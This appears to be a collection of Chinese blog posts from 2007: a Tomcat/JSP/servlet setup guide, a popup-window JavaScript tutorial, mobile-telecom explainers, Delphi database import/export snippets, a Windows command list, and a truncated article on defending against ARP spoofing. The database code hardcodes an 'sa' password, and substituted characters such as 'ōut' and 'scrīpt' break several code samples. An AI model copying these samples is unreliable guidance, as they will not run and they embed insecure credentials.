      第一步:下载j2sdk和tomcat:到sun官方站点(http://java.sun.com/j2se/1.4.2/download.html)下载j2sdk,注意下载版本为Windows Offline Installation的SDK,同时最好下载J2SE 1.4.2 Documentation,然后到tomcat官方站点(http://www.apache.org/dist/jakarta/tomcat-4/)下载tomcat(下载最新4.1.x版本的tomcat);
      
      第二步:安装和配置你的j2sdk和tomcat:执行j2sdk和tomcat的安装程序,然后按默认设置进行安装即可。
      

      1.安装j2sdk以后,需要配置一下环境变量,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的j2sdk安装在c:\j2sdk1.4.2):
      
      JAVA_HOME=c:\j2sdk1.4.2
      classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;(.;一定不能少,因为它代表当前路径)
      path=%JAVA_HOME%\bin
      
      接着可以写一个简单的java程序来测试J2SDK是否已安装成功:
      public class Test{
      public static void main(String args[]){
      System.out.println("This is a test program.");
      }
      }
      
      将上面的这段程序保存为文件名为Test.java的文件。
      
      然后打开命令提示符窗口,cd到你的Test.java所在目录,然后键入下面的命令
      
      javac Test.java
      java Test
      
      此时如果看到打印出来This is a test program.的话说明安装成功了,如果没有打印出这句话,你需要仔细检查一下你的配置情况。
      
      2.安装Tomcat后,在我的电脑->属性->高级->环境变量->系统变量中添加以下环境变量(假定你的tomcat安装在c:\tomcat):
      
      CATALINA_HOME=c:\tomcat;
      CATALINA_BASE=c:\tomcat;
      
      然后修改环境变量中的classpath,把tomat安装目录下的common\lib下的servlet.jar追加到classpath中去,修改后的classpath如下:
      
      classpath=.;%JAVA_HOME%\lib\dt.jar;%JAVA_HOME%\lib\tools.jar;%CATALINA_HOME%\common\lib\servlet.jar;
      
      接着可以启动tomcat,在IE中访问http://localhost:8080,如果看到tomcat的欢迎页面的话说明安装成功了。
      
      第三步:建立自己的jsp app目录
      
      1.到Tomcat的安装目录的webapps目录,可以看到ROOT,examples, tomcat-docs之类Tomcat自带的的目录;
      
      2.在webapps目录下新建一个目录,起名叫myapp;
      
      3.myapp下新建一个目录WEB-INF,注意,目录名称是区分大小写的;
      
      4.WEB-INF下新建一个文件web.xml,内容如下:
      <?xml version="1.0" encoding="ISO-8859-1"?>
      
      <!DOCTYPE web-app
      PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
      "http://java.sun.com/dtd/web-app_2_3.dtd">
      
      <web-app>
      <display-name>My Web Application</display-name>
      <descrīption>
      A application for test.
      </descrīption>
      </web-app>
      
      5.在myapp下新建一个测试的jsp页面,文件名为index.jsp,文件内容如下:
      
      <html><body><center>
      Now time is: <%=new java.util.Date()%>
      </center></body></html>
      
      6.重启Tomcat
      
      7.打开浏览器,输入http://localhost:8080/myapp/index.jsp 看到当前时间的话说明就成功了。
      
      第四步:建立自己的Servlet:
      
      1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个servlet程序,文件名为Test.java,文件内容如下:
      
      package test;
      import java.io.IOException;
      import java.io.PrintWriter;
      import javax.servlet.ServletException;
      import javax.servlet.http.HttpServlet;
      import javax.servlet.http.HttpServletRequest;
      import javax.servlet.http.HttpServletResponse;
      public class Test extends HttpServlet {
      protected void doGet(HttpServletRequest request, HttpServletResponse response)
      throws ServletException, IOException {
      PrintWriter ōut=response.getWriter();
      out.println("<html><body><h1>This is a servlet test.</h1></body></html>");
      out.flush();
      }
      }
      
      2 .编译
      
      将Test.java放在c:\test下,使用如下命令编译:
      C:\Test>javac Test.java
      
      然后在c:\Test下会产生一个编译后的servlet文件:Test.class
      
      3 .将结构test\Test.class剪切到%CATALINA_HOME%\webapps\myapp\WEB-INF\classes下,也就是剪切那个test目录到classes目录下,如果classes目录不存在,就新建一个。 现在webapps\myapp\WEB-INF\classes下有test\Test.class的文件目录结构
      
      4 .修改webapps\myapp\WEB-INF\web.xml,添加servlet和servlet-mapping
      
      编辑后的web.xml如下所示,红色为添加的内容:
      <?xml version="1.0" encoding="ISO-8859-1"?>
      
      <!DOCTYPE web-app
      PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
      "http://java.sun.com/dtd/web-app_2_3.dtd">
      
      <display-name>My Web Application</display-name>
      <descrīption>
      A application for test.
      </descrīption>
      <servlet>
      <servlet-name>Test</servlet-name>
      <display-name>Test</display-name>
      <descrīption>A test Servlet</descrīption>
      <servlet-class>test.Test</servlet-class>
      </servlet>
      <servlet-mapping>
      <servlet-name>Test</servlet-name>
      <url-pattern>/Test</url-pattern>
      </servlet-mapping>
      </web-app>
      
      这段话中的servlet这一段声明了你要调用的Servlet,而servlet-mapping则是将声明的servlet“映射”到地址/Test上
      
      5 .好了,启动Tomcat,启动浏览器,输入http://localhost:8080/myapp/Test 如果看到输出This is a servlet test.就说明编写的servlet成功了。
      
      注意:修改了web.xml以及新加了class,都要重启Tomcat
      
      第五步:建立自己的Bean:
      
      1.用你最熟悉的编辑器(建议使用有语法检查的java ide)新建一个java程序,文件名为TestBean.java,文件内容如下:
      package test;
      public class TestBean{
      private String name = null;
      public TestBean(String strName_p){
      this.name=strName_p;
      }
      public void setName(String strName_p){
      this.name=strName_p;
      }
      public String getName(){
      return this.name;
      }
      }
      
      2 .编译
      
      将TestBean.java放在c:\test下,使用如下命令编译:
      C:\Test>javac TestBean.java
      
      然后在c:\Test下会产生一个编译后的bean文件:TestBean.class
      
      3 .将TestBean.class文件剪切到 %CATALINA_HOME%\webapps\myapp\WEB-INF\classes\test下,
      
      4 .新建一个TestBean.jsp文件,文件内容为:
      <%@ page import="test.TestBean" %>
      <html><body><center>
      <%
      TestBean testBean=new TestBean("This is a test java bean.");
      %>
      Java bean name is: <%=testBean.getName()%>
      </center></body></html>
      
      5 .好了,重启Tomcat,启动浏览器,输入http://localhost:8080/myapp/TestBean.jsp 如果看到输出Java bean name is: This is a test java bean.就说明编写的Bean成功了。
      
      这样就完成了整个Tomcat下的jsp、servlet和javabean的配置。接下来需要做的事情就是多看书、多读别人的好代码,自己多动手写代码以增强自己在这方面开发的能力了。

  • Window.Open详解

    紫忧 发布于 2007-04-06 09:42:51

     

    Window.Open详解

    一、window.open()支持环境:
    Javascrīpt1.0+/Jscrīpt1.0+/Nav2+/IE3+/Opera3+

    二、基本语法:
    window.open(pageURL,name,parameters) 
    其中:
    pageURL 为子窗口路径 
    name 为子窗口句柄 
    parameters 为窗口参数(各参数用逗号分隔) 

    三、示例:
    <scrīpt> 
    <!-- 
    window.open ('page.html','newwindow','height=100,width=400,top=0,left=0,toolbar=no,menubar=no,scrollbars=no, resizable=no,location=no, status=no') 
    //写成一行 
    --> 
    </scrīpt>


      脚本运行后,page.html将在新窗体newwindow中打开,宽为100,高为400,距屏顶0象素,屏左0象素,无工具条,无菜单条,无滚动条,不可调整大小,无地址栏,无状态栏。请对照。
      上例中涉及的为常用的几个参数,除此以外还有很多其他参数,请见四。

    四、各项参数
      其中yes/no也可使用1/0;pixel value为具体的数值,单位象素。

    参数 | 取值范围 | 说明 

    alwaysLowered | yes/no | 指定窗口隐藏在所有窗口之后 
    alwaysRaised | yes/no | 指定窗口悬浮在所有窗口之上 
    depended | yes/no | 是否和父窗口同时关闭 
    directories | yes/no | Nav2和3的目录栏是否可见 
    height | pixel value | 窗口高度 
    hotkeys | yes/no | 在没菜单栏的窗口中设安全退出热键 
    innerHeight | pixel value | 窗口中文档的像素高度 
    innerWidth | pixel value | 窗口中文档的像素宽度 
    location | yes/no | 位置栏是否可见 
    menubar | yes/no | 菜单栏是否可见 
    outerHeight | pixel value | 设定窗口(包括装饰边框)的像素高度 
    outerWidth | pixel value | 设定窗口(包括装饰边框)的像素宽度 
    resizable | yes/no | 窗口大小是否可调整 
    screenX | pixel value | 窗口距屏幕左边界的像素长度 
    screenY | pixel value | 窗口距屏幕上边界的像素长度 
    scrollbars | yes/no | 窗口是否可有滚动栏 
    titlebar | yes/no | 窗口题目栏是否可见 
    toolbar | yes/no | 窗口工具栏是否可见 
    Width | pixel value | 窗口的像素宽度 
    z-look | yes/no | 窗口被激活后是否浮在其它窗口之上

    =====================================================

    【1、最基本的弹出窗口代码】 
      其实代码非常简单: 
    <scrīpt LANGUAGE="javascrīpt"> 
    <!-- 
    window.open ('page.html') 
    --> 
    </scrīpt> 

      因为着是一段javascrīpts代码,所以它们应该放在<scrīpt LANGUAGE="javascrīpt">标签和</scrīpt>之间。<!-- 和 -->是对一些版本低的浏览器起作用,在这些老浏览器中不会将标签中的代码作为文本显示出来。要养成这个好习惯啊。 
      Window.open ('page.html') 用于控制弹出新的窗口page.html,如果page.html不与主窗口在同一路径下,前面应写明路径,绝对路径(http://)和相对路径(../)均可。用单引号和双引号都可以,只是不要混用。 
      这一段代码可以加入HTML的任意位置,<head>和</head>之间可以,<body>间</body>也可以,越前越早执行,尤其是页面代码长,又想使页面早点弹出就尽量往前放。 

    【2、经过设置后的弹出窗口】 

      下面再说一说弹出窗口的设置。只要再往上面的代码中加一点东西就可以了。 
      我们来定制这个弹出的窗口的外观,尺寸大小,弹出的位置以适应该页面的具体情况。 
    <scrīpt LANGUAGE="javascrīpt"> 
    <!-- 
    window.open ('page.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no') 
    //写成一行 
    --> 
    </scrīpt> 

    参数解释: 
    <scrīpt LANGUAGE="javascrīpt"> js脚本开始; 
    window.open 弹出新窗口的命令; 
    'page.html' 弹出窗口的文件名; 
    'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空''代替; 
    height=100 窗口高度; 
    width=400 窗口宽度; 
    top=0 窗口距离屏幕上方的象素值; 
    left=0 窗口距离屏幕左侧的象素值; 
    toolbar=no 是否显示工具栏,yes为显示; 
    menubar,scrollbars 表示菜单栏和滚动栏。 
    Resizable=no 是否允许改变窗口大小,yes为允许; 
    location=no 是否显示地址栏,yes为允许; 
    status=no 是否显示状态栏内的信息(通常是文件已经打开),yes为允许; 
    </scrīpt> js脚本结束 

    【3、用函数控制弹出窗口】 

      下面是一个完整的代码。

    <html> 
    <head> 
    <scrīpt LANGUAGE="Javascrīpt"> 
    <!-- 
    function openwin() { window.open ("page.html", "newwindow", "height=100, width=400, toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    //写成一行 

    //--> 
    </scrīpt> 
    </head> 
    <body onload="openwin()"> 
    …任意的页面内容… 
    </body> 
    </html> 

    这里定义了一个函数openwin(),函数内容就是打开一个窗口。在调用它之前没有任何用途。 
    怎么调用呢? 
    方法一:<body onload="openwin()"> 浏览器读页面时弹出窗口; 
    方法二:<body onunload="openwin()"> 浏览器离开页面时弹出窗口; 
    方法三:用一个连接调用: 
    <a href="#" onclick="openwin()">打开一个窗口</a> 
    注意:使用的"#"是虚连接。 
    方法四:用一个按钮调用: 
    <input type="button" onclick="openwin()" value="打开窗口"> 

    【4、同时弹出2个窗口】 

      对源代码稍微改动一下:

    <scrīpt LANGUAGE="Javascrīpt"> 
    <!-- 
    function openwin() 
    { window.open ("page.html", "newwindow", "height=100, width=100, top=0,left=0,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    //写成一行 
    window.open ("page2.html", "newwindow2", "height=100, width=100, top=100, left=100,toolbar=no, menubar=no, scrollbars=no, resizable=no, location=no, status=no") 
    //写成一行 

    //--> 
    </scrīpt> 

      为避免弹出的2个窗口覆盖,用top和left控制一下弹出的位置不要相互覆盖即可。最后用上面说过的四种方法调用即可。 
    注意:2个窗口的name(newwindows和newwindow2)不要相同,或者干脆全部为空。OK? 

    【5、主窗口打开文件1.htm,同时弹出小窗口page.html】 

      如下代码加入主窗口<head>区:

    <scrīpt language="javascrīpt"> 
    <!-- 
    function openwin() 
    {window.open("page.html","","width=200,height=200") 

    //--> 
    </scrīpt> 

      加入<body>区: 
    <a href="1.htm" onclick="openwin()">open</a>即可。 

    【6、弹出的窗口之定时关闭控制】 

      下面我们再对弹出的窗口进行一些控制,效果就更好了。如果我们再将一小段代码加入弹出的页面(注意是加入到page.html的HTML中,可不是主页面中,否则…),让它10秒后自动关闭是不是更酷了? 
      首先,将如下代码加入page.html文件的<head>区:

    <scrīpt language="Javascrīpt"> 
    function closeit() 
    {setTimeout("self.close()",10000) //毫秒} 
    </scrīpt> 

      然后,再用<body onload="closeit()"> 这一句话代替page.html中原有的<BODY>这一句就可以了。(这一句话千万不要忘记写啊!这一句的作用是调用关闭窗口的代码,10秒钟后就自行关闭该窗口。) 

    【7、在弹出窗口中加上一个关闭按钮】 
    <FORM> 
    <INPUT TYPE='BUTTON' VALUE='关闭' onClick='window.close()'> 
    </FORM> 

      呵呵,现在更加完美了! 

    【8、内包含的弹出窗口-一个页面两个窗口】 

      上面的例子都包含两个窗口,一个是主窗口,另一个是弹出的小窗口。 
      通过下面的例子,你可以在一个页面内完成上面的效果。 
    <html> 
    <head> 
    <scrīpt LANGUAGE="Javascrīpt"> 
    function openwin() 
    {OpenWindow=window.open("", "newwin", "height=250, width=250,toolbar=no,scrollbars="+scroll+",menubar=no"); 
    //写成一行 
    OpenWindow.document.write("<TITLE>例子</TITLE>") 
    OpenWindow.document.write("<BODY BGCOLOR=#ffffff>") 
    OpenWindow.document.write("<h1>Hello!</h1>") 
    OpenWindow.document.write("New window opened!") 
    OpenWindow.document.write("</BODY>") 
    OpenWindow.document.write("</HTML>") 
    OpenWindow.document.close()} 
    </scrīpt> 
    </head> 
    <body> 
    <a href="#" onclick="openwin()">打开一个窗口</a> 
    <input type="button" onclick="openwin()" value="打开窗口"> 
    </body> 
    </html> 

      看看 OpenWindow.document.write()里面的代码不就是标准的HTML吗?只要按照格式写更多的行即可。千万注意多一个标签或少一个标签就会出现错误。记得用OpenWindow.document.close()结束啊。 

    【9、终极应用--弹出的窗口之Cookie控制】 

      回想一下,上面的弹出窗口虽然酷,但是有一点小毛病(沉浸在喜悦之中,一定没有发现吧?)比如你将上面的脚本放在一个需要频繁经过的页面里(例如首页),那么每次刷新这个页面,窗口都会弹出一次,是不是非常烦人?:-(有解决的办法吗?Yes! ;-) Follow me. 
      我们使用cookie来控制一下就可以了。
      首先,将如下代码加入主页面HTML的<HEAD>区: 
    <scrīpt> 
    function openwin() 
    {window.open("page.html","","width=200,height=200")} 
    function get_cookie(Name) 
    {var search = Name + "=" 
    var returnvalue = ""; 
    if (document.cookie.length > 0) { 
    offset = document.cookie.indexOf(search) 
    if (offset != -1) { 
    offset += search.length 
    end = document.cookie.indexOf(";", offset); 
    if (end == -1) 
    end = document.cookie.length; 
    returnvalue=unescape(document.cookie.substring(offset,end)) 


    return returnvalue; 

    function loadpopup(){ 
    if (get_cookie('popped')==''){ 
    openwin() 
    document.cookie="popped=yes" 


    </scrīpt> 

      然后,用<body onload="loadpopup()">(注意不是openwin而是loadpop啊!)替换主页面中原有的<BODY>这一句即可。你可以试着刷新一下这个页面或重新进入该页面,窗口再也不会弹出了。真正的Pop-Only-Once! 
      写到这里弹出窗口的制作和应用技巧基本上算是完成了,需要注意的是,JS脚本中的的大小写最好前后保持一致。

  • 什么是CDMA技术

    xiangshizu 发布于 2007-04-06 22:19:44

    CDMA直译为码分多址,是在数字通信技术的分支扩频通信的基础上发展起来的一种技术。所谓扩频,简单地说就是把频谱扩展。

     码分多址(CDMA)技术是移动通信系统中所采用的多址方式之一。在移动通信系统中,由于许 多移动台要同时通过一个基站和其它移动台进行通信,因此必须对不同的移动台和基站发出的信号赋予不同的特征,以使基站能从众多的移动台信号中分辨出是哪个移动台发出的信号,同时各个移动台也能识别出基站发出的多个信号中哪一个是属于自己的,解决该问题的办法称为多址方式。多址方式的基础是信号特征上的差异。有了差异才能进行识别,能识别了才能进行选择。一般情况下,信号的这种差异可以体现在某些参数上,如信号的工作频率、信号的出现时间以及信号所具有的特定波形等。因此就产生了以下几种多址方式:  

     FDMA(频分多址)-不同用户分配在时隙(出现时间)相同、工作频率不同的信道上;

     TDMA(时分多址)-不同用户分配在时隙不同、频率相同的信道上;

     CDMA(码分多址)-各个用户分配在时隙和频率均相同的信道上,以伪随机正交码(PN码)序列来区分各用户。

      对于移动通信网络而言,由于用户数和通信业务量激增,一个突出的问题是在频率资源有限的条件下,如何提高通信系统的容量。由于多址方式直接影响到移动通信系统的容量,所以采用何种多址方式,更有利于提高这种通信

      系统的容量,一直是人们非常关心的问题,也是当前研究和开发移动通信的热门课题。经过多年的理论和实践证明,三种多址方式中:FDMA方式用户容量最小,TDMA方式次之,而CDMA方式容量最大。

  • 什么是TD-SCDMA

    xiangshizu 发布于 2007-04-06 22:20:42

    TD-SCDMA是中文含义为时分同步码分多址接入,该项通信技术也属于一种无线通信的技术标准,它是由中国第一次提出并在此无线传输技术(RTT)的基础上与国际合作完成的。该方案的主要技术集中在大唐公司手中,它的设计参照了TDD在不成对的频带上的时域模式。TDD模式是基于在无线信道时域里的周期地重复TDMA帧结构实现的。这个帧结构被再分为几个时隙,在TDD模式下,可以方便地实现上/下行链路间的灵活切换。这一模式突出的优势是,在上/下行链路间的时隙分配可以被一个灵活的转换点改变,以满足不同的业务要求。这样,运用TD-SCDMA这一技术,通过灵活地改变上/下行链路的转换点就可以实现所有3G对称和非对称业务。合适的TD-SCDMA时域操作模式可自行解决所有对称和非对称业务以及任何混合业务的上/下行链路资源分配的问题。

        TD-SCDMA的无线传输方案灵活地综合了FDMA、TDMA和CDMA等基本传输方法,通过与联合检测相结合,它在传输容量方面表现非凡。通过引进智能天线,容量还可以进一步提高。智能天线凭借其定向性降低了小区间频率复用所产生的干扰,并通过更高的频率复用率来提供更高的话务量。基于高度的业务灵活性,TD-SCDMA无线网络可以通过无线网络控制器(RNC)连接到交换网络,如同第三代移动通信中对电路和包交换业务所定义的那样。在最终的版本里,计划让TD-SCDMA无线网络与Internet直接相连。

        TD-SCDMA所呈现的先进的移动无线系统是针对所有无线环境下对称和非对称的3G业务所设计的,它运行在不成对的射频频谱上。TD-SCDMA传输方向的时域自适应资源分配可取得独立于对称业务负载关系的频谱人配的最佳利用率。因此,TD-SCDMA通过最佳自适应资源的分配和最佳频谱效率,可支持速率从8kbit/s到2Mbit/s的语音、互联网等所有的3G业务。

        TD-SCDMA为TDD模式,在应用范围内有其自身的特点:一是终端的移动速度受现有DSP运算速度的限制只能做到240km/h;二是基站覆盖半么在15km以内时频谱利用率和系统容量可达最佳,在用户容量不是很大的区域,基站最大覆盖可达30km。所以,TD-SCDMA适合在城市和城郊使用,在城市和城郊,这两个不足均不影响实际使用。因在城市和城郊,车速一般都小于200km/h,城市和城郊人口密度高,因容量的原因,小区半径一般都在15km以内。而在农村及大区全覆盖时,用WCDMA FDD方式也是合适的,因此TDD和FDD模式是互为补充的。

  • 什么是1G/2G/2.5G/3G? GSM? GPRS?

    xiangshizu 发布于 2007-04-06 22:23:08

           1G(first generation)表示第一代移动通讯技术。如现在以淘汰的模拟移动网。

      2G(second generation)表示第二代移动通讯技术。 
    代表为GSM。以数字语音传输技术为核心。

      2.5G是基于2G与3G之间的过渡类型。代表为GPRS。比2G在速度、带宽上有所提高。可使现有GSM网络轻易地实现与高速数据分组的简便接入。

      3G(third generation)表示第三代移动通讯技术。面向高速、宽带数据传输。国际电信联盟(ITU)称其为IMT-2000(International Mobile Telecom-munication)。最高可提供2Mbp/s的数据传输速率。主流技术为CDMA技术代表有WCDMA(欧,日)、CDMA2000(美)和TD-SCDMA(中)。

      什么是GSM?

      全球移动通讯系统(Global system for Mobile communications)的英文缩写。2G的主流技术,数据速率为9.6kb/s。

      什么是GPRS?

      通用分组无线业务(General Packet Radio Service)的英文缩写。是一种基于GSM系统的无线分组交换技术。是2.5G的主流技术。理论最高数据速率为171.2kb/s。

  • 异构数据库之间的导入导出[转载]

    fish_yy 发布于 2007-04-24 12:11:06

    原文出处:http://blog.csdn.net/flyany2000/archive/2005/10/14/503945.aspx


    异构数据库之间的导入导出

    //MSSQL2EXCEL
    ADOConnection1.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql\yp.xls;'
    +'Extended Properties=excel 8.0';
    ADOConnection1.Execute('select * into [Abc] from drug_yk IN [ODBC] [ODBC;Driver=SQL

    Server;UID=sa;PWD=kcsoft58;Server=127.0.0.1;DataBase=kcsoft_his]');
    //把一个MSSQL的数据库表及数据导出到excel中,abc为excel中不存在的表名,drug_yk为MSSQL里的表, sa为

    用户,  kcsoft58为密码 , 127.0.0.1为服务大地址 ,kcsoft_his是数据库名称
    ADOConnection1.Execute('insert into [abc] select * from drug_yk in [ODBC] [ODBC;Driver=SQL

    Server;UID=sa;PWD=kcsoft58;Server=127.0.0.1;DataBase=kcsoft_his]');
    //把一个MSSQL的数据库表的记录增加到到excel中,执行以后相当于两倍量的数据,一次是导入,一次是

    insert


    //EXCEL2MSSQL
      ADOConnection1.ConnectionString:='Provider=SQLOLEDB.1;Password=KCSOFT58;Persist Security

    Info=True;User ID=SA;Initial Catalog=KCSOFT_HIS;Data Source=CHEN';
       ADOConnection1.Execute('SELECT * into [abc] FROM OpenDataSource( '
       +QuotedStr('Microsoft.Jet.OLEDB.4.0')+','
       +QuotedStr('Data Source="G:\mysmallexe\excel2sql\yp.xls";Extended Properties=excel 8.0')

    +')...[Abc]');


    //MSSQL2VFP
      ADOConnection2.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql;'
    +'Extended Properties=dBase 5.0';
    ADOConnection2.Execute('select * into Abc.dbf from drug_yk IN [ODBC] [ODBC;Driver=SQL

    Server;UID=sa;PWD=kcsoft58;Server=127.0.0.1;DataBase=kcsoft_his]');
    //把一个MSSQL的数据库表及数据导出到VFP中,Abc.dbf 为VFP中不存在的表名,drug_yk为MSSQL里的表, sa为

    用户,  kcsoft58为密码 , 127.0.0.1为服务大地址 ,kcsoft_his是数据库名称


    //VFP2MSSQL
       ADOConnection2.ConnectionString:='Provider=SQLOLEDB.1;Password=KCSOFT58;Persist Security

    Info=True;User ID=SA;Initial Catalog=KCSOFT_HIS;Data Source=CHEN';
       ADOConnection2.Execute('SELECT * into [abc] FROM OpenDataSource( '
       +QuotedStr('Microsoft.Jet.OLEDB.4.0')+','
       +QuotedStr('Data Source="G:\mysmallexe\excel2sql";Extended Properties=dBase 5.0')+')...

    [Abc]');


     //MSSQL2access
         ADOConnection2.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql\Server.MDB;'
    +'Persist Security Info=False;Jet OLEDB:Database Password=happynewyear';
    ADOConnection2.Execute('select * into Abc from drug_yk IN [ODBC] [ODBC;Driver=SQL

    Server;UID=sa;PWD=kcsoft58;Server=127.0.0.1;DataBase=kcsoft_his]');


    //access2MSSQL
      ADOConnection2.ConnectionString:='Provider=SQLOLEDB.1;Password=KCSOFT58;Persist Security

    Info=True;User ID=SA;Initial Catalog=KCSOFT_HIS;Data Source=CHEN';
       ADOConnection2.Execute('SELECT * into [abc] FROM OpenDataSource( '
       +QuotedStr('Microsoft.Jet.OLEDB.4.0')+','
       +QuotedStr('Data Source="G:\mysmallexe\excel2sql\Server.MDB";Jet OLEDB:Database

    Password=happynewyear')+')...[Abc]');


    //excel2access
        ADOConnection2.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql\Server.MDB;'
    +'Persist Security Info=False;Jet OLEDB:Database Password=happynewyear';
    ADOConnection2.Execute('SELECT * into [abc] FROM [excel

    8.0;database=G:\mysmallexe\excel2sql\yp.xls].[abc$]');

    //access2excel
       ADOConnection2.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql\yp.xls;'
    +'Extended Properties=excel 8.0';
    ADOConnection2.Execute('SELECT * into abc  from

    [G:\mysmallexe\excel2sql\Server.MDB;pwd=happynewyear].abc');


    //MSSQL2txt
     ADOConnection2.ConnectionString:=
    'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=G:\mysmallexe\excel2sql;'
    +'Extended Properties=text';
    ADOConnection2.Execute('select * into Abc#txt from drug_yk IN [ODBC] [ODBC;Driver=SQL

    Server;UID=sa;PWD=kcsoft58;Server=127.0.0.1;DataBase=kcsoft_his]');


    //txt2MSSQL
       ADOConnection2.ConnectionString:='Provider=SQLOLEDB.1;Password=KCSOFT58;Persist Security

    Info=True;User ID=SA;Initial Catalog=KCSOFT_HIS;Data Source=CHEN';
        ADOConnection2.Execute('SELECT * into [abc] FROM OpenDataSource( '
       +QuotedStr('Microsoft.Jet.OLEDB.4.0')+','
       +QuotedStr('Data Source="G:\mysmallexe\excel2sql";Extended Properties=text')+')...

    [Abc#txt]');



    测试者家园 2007-01-22 13:55 发表评论


    Link URL: http://www.cnblogs.com/tester2test/archive/2007/01/22/626850.html
  • windows命令大全〔转载〕

    fish_yy 发布于 2007-04-24 12:11:06

                                                                                  作者:oftime999

    winver---------检查Windows版本
    wmimgmt.msc----打开windows管理体系结构(WMI)
    wupdmgr--------windows更新程序
    wscrīpt--------windows脚本宿主设置
    write----------写字板
    winmsd---------系统信息
    wiaacmgr-------扫描仪和照相机向导
    winchat--------XP自带局域网聊天

    mem.exe--------显示内存使用情况
    Msconfig.exe---系统配置实用程序
    mplayer2-------简易widnows media player
    mspaint--------画图板
    mstsc----------远程桌面连接
    mplayer2-------媒体播放机
    magnify--------放大镜实用程序
    mmc------------打开控制台
    mobsync--------同步命令

    dxdiag---------检查DirectX信息
    drwtsn32------ 系统医生
    devmgmt.msc--- 设备管理器
    dfrg.msc-------磁盘碎片整理程序
    diskmgmt.msc---磁盘管理实用程序
    dcomcnfg-------打开系统组件服务
    ddeshare-------打开DDE共享设置
    dvdplay--------DVD播放器

    net stop messenger-----停止信使服务
    net start messenger----开始信使服务
    notepad--------打开记事
    nslookup-------网络管理的工具向导
    ntbackup-------系统备份和还原
    narrator-------屏幕“讲述人”
    ntmsmgr.msc----移动存储管理器
    ntmsoprq.msc---移动存储管理员操作请求
    netstat -an----(TC)命令检查接口

    syncapp--------创建一个公文包
    sysedit--------系统配置编辑器
    sigverif-------文件签名验证程序
    sndrec32-------录音机
    shrpubw--------创建共享文件夹
    secpol.msc-----本地安全策略
    syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
    services.msc---本地服务设置
    Sndvol32-------音量控制程序
    sfc.exe--------系统文件检查器
    sfc /scannow---windows文件保护

    tsshutdn-------60秒倒计时关机命令
    tourstart------xp简介(安装完成后出现的漫游xp程序)
    taskmgr--------任务管理器

    eventvwr-------事件查看器
    eudcedit-------造字程序
    explorer-------打开资源管理器


    packager-------对象包装程序
    perfmon.msc----计算机性能监测程序
    progman--------程序管理器

    regedit.exe----注册表
    rsop.msc-------组策略结果集
    regedt32-------注册表编辑器
    rononce -p ----15秒关机
    regsvr32 /u *.dll----停止dll文件运行
    regsvr32 /u zipfldr.dll------取消ZIP支持

    cmd.exe--------CMD命令提示符
    chkdsk.exe-----Chkdsk磁盘检查
    certmgr.msc----证书管理实用程序
    calc-----------启动计算器
    charmap--------启动字符映射表
    cliconfg-------SQL SERVER 客户端网络实用程序
    Clipbrd--------剪贴板查看器
    conf-----------启动netmeeting
    compmgmt.msc---计算机管理
    cleanmgr-------垃圾整理
    ciadv.msc------索引服务程序

    osk------------打开屏幕键盘
    odbcad32-------ODBC数据源管理器
    oobe/msoobe /a----检查XP是否激活
    lusrmgr.msc----本机用户和组
    logoff---------注销命令


    iexpress-------木马捆绑工具,系统自带

    Nslookup-------IP地址侦测器

    fsmgmt.msc-----共享文件夹管理器

    utilman--------辅助工具管理器

    gpedit.msc-----组策略



    测试者家园 2007-01-22 12:19 发表评论


    Link URL: http://www.cnblogs.com/tester2test/archive/2007/01/22/626712.html
  • 局域网内如何防止ARP欺骗

    fish_yy 发布于 2007-04-24 12:11:06

    局域网内如何防止ARP欺骗

    作者:IHH    出处:赛迪网开发者论坛

    对于ARP欺骗,提出几点加强安全防范的措施。环境是主机或者网关是基于Linux/BSD的。

    一、理论前提

    本着“不冤枉好人,不放过一个坏人的原则”,先说说我的一些想法和理论依据。首先,大家肯定发送ARP欺骗包肯定是一个恶毒的程序自动发送的,正常的TCP/IP网络是不会有这样的错误包发送的。

    这就假设,如果犯罪嫌疑人没有启动这个破坏程序的时候,网络环境是正常的,或者说网络的ARP 环境是正常的,如果我们能在犯罪嫌疑人启动这个犯罪程序的第一时间,一开始就发现了他的犯罪活动,那么就是人赃俱在,不可抵赖了,因为刚才提到,前面网络正常的时候证据是可信和可依靠的。好,接下来我们谈论如何在第一时间发现他的犯罪活动。

    ARP欺骗的原理如下:

    假设这样一个网络,一个Hub接了3台机器

    HostA HostB HostC 其中

    A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA

    B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB

    C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC

    正常情况下 C:arp -a

    Interface: 192.168.10.1 on Interface 0x1000003

    Internet Address Physical Address Type

    192.168.10.3 CC-CC-CC-CC-CC-CC dynamic

    现在假设HostB开始了罪恶的ARP欺骗:

    B向A发送一个自己伪造的ARP应答,而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址),MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC,这里被伪造了)。当A接收到B伪造的ARP应答,就会更新本地的ARP缓存(A可不知道被伪造了)。而且A不知道其实是从B发送过来的,A这里只有192.168.10.3(C的IP地址)和无效的DD-DD-DD-DD-DD-DD mac地址,没有和犯罪分子B相关的证据,哈哈,这样犯罪分子岂不乐死了。

    现在A机器的ARP缓存更新了:

    C:>arp -a
